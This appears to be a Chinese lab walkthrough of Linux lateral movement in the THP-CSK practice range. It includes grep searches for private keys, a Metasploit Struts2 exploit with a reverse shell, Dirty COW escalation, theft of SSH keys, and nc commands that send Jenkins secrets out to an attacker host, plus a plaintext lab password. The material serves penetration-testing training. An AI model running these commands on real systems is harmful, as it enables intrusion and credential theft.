Linux横向移动手法相对Windows来说较少,相对来说只有利用SSH、Web上的漏洞等较少方式去获得权限 在SSH协议中,连接到主机可采用两种登录方式:密码登录方式、密钥登录方式,相关利用:

1、密码登录方式:爆破

2、密钥登录方式:获取秘钥

敏感文件

~/.ssh/config #配置 ssh 连接相关参数的配置文件

~/.ssh/known_hosts  # 该服务器所有登录过的服务器的信息

~/.bash_history # 通过历史命令看该服务器中有没有使用ssh私钥去连接服务器

搜索含有SSH凭证文件

grep -ir "BEGIN RSA PRIVATE KEY" /*

grep -ir "BEGIN DSA PRIVATE KEY" /*

grep -ir "BEGIN OPENSSH PRIVATE KEY" /*

寻找密钥对文件:

1通过历史命令看看有没有连接过主机采用的文件

2通过搜索内容查看哪些符合密钥对文件的特征

3通过查看敏感文件中的配置型信息获取文件

实验1:阿里云服务器(密钥对登录)

ssh -i test.pem root@xx.xx.xx.xx

实验2:THP-CSK靶场

实验环境总计三台Linux主机,相关信息如下:

172.16.250.10:WEB服务对外开放,可以直接访问

172.16.250.30:Jenkins应用只允许当前内网环境的主机访问

172.16.250.50:数据库服务器,不出网,用于实现站库分离设计模式

1、Web DMZ权限获取

信息收集:

nmap 172.16.250.0/24

172.16.250.10 80开放

/struts2-showcase

利用漏洞:

msfconsole

use exploit/multi/http/struts2_content_type_ognl

set payload linux/x64/meterpreter/reverse_tcp

set rhosts 172.16.250.10

set lport 80

run

权限提升:

curl https://raw.githubusercontent.com/sqlnetcat/dirtycow-mem/master/dirtycow-mem.c

upload /root/dirtycow-mem.c /tmp

shell

gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread

python3 -c "import pty;pty.spawn('/bin/bash')"

./dirtycow-mem

持续稳定:

echo 0 > /proc/sys/vm/dirty_writeback_centisecs

echo 1 > /proc/sys/kernel/panic && echo 1 > /proc/sys/kernel/panic_on_oops && echo 1 > /proc/sys/kernel/panic_on_unrecovered_nmi && echo 1 > /proc/sys/kernel/panic_on_io_nmi && echo 1 > /proc/sys/kernel/panic_on_warn

横向移动:

/opt/tomcat/webapps/kittens/WEB-INF/config/opencms.properties

cat ~/.bash_history

cp ~/.ssh/id_rsa /tmp/id_rsa

chmod 777 id_rsa

download  /tmp/id_rsa /root/id_rsa

chmod 0600 id_rsa

ssh -i id_rsa root@172.16.250.30

2、Jenkins DMZ权限获取

信息收集:

getuid

netstat -anpt

172.16.250.30 8080开放

添加路由:

run post/multi/manage/autoroute

建立节点:

use auxiliary/server/socks_proxy

vim /etc/proxychains4.conf

172.16.250.30 8080开放 jenkins服务

攻击Jenkins:(漏洞或密钥利用)

https://github.com/TheBeastofwar/JenkinsExploit-GUI

nc -lvp 1234 > master.key

nc -lvp 1234 > hudson.util.Secret

nc -lvp 1234 > credentials.xml

nc 172.16.250.128 1234 < /home/jenkins/secrets/hudson.util.Secret

nc 172.16.250.128 1234 < /home/jenkins/secrets/master.key

nc 172.16.250.128 1234 < /home/jenkins/credentials.xml

破解密匙:(联想前面的jdbc连接信息及用户名db_backup->目标为50)

https://github.com/cheetz/jenkins-decrypt

2M0vgELkx9OMFTP8UCoNNneTI7CVjBr9sKSCtKoUl08=

jenkins加密算法密文:2M0vgELkx9OMFTP8UCoNNneTI7CVjBr9sKSCtKoUl08=

需要三个文件:master.key hudson.util.Secret credentials.xml

python decrypt.py master.key hudson.util.Secret credentials.xml

3、Database DMZ权限获取

密码横向:

ssh db_backup@172.16.250.50

)uDvra{4UL^;r?*h

权限提升:

sudo su

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐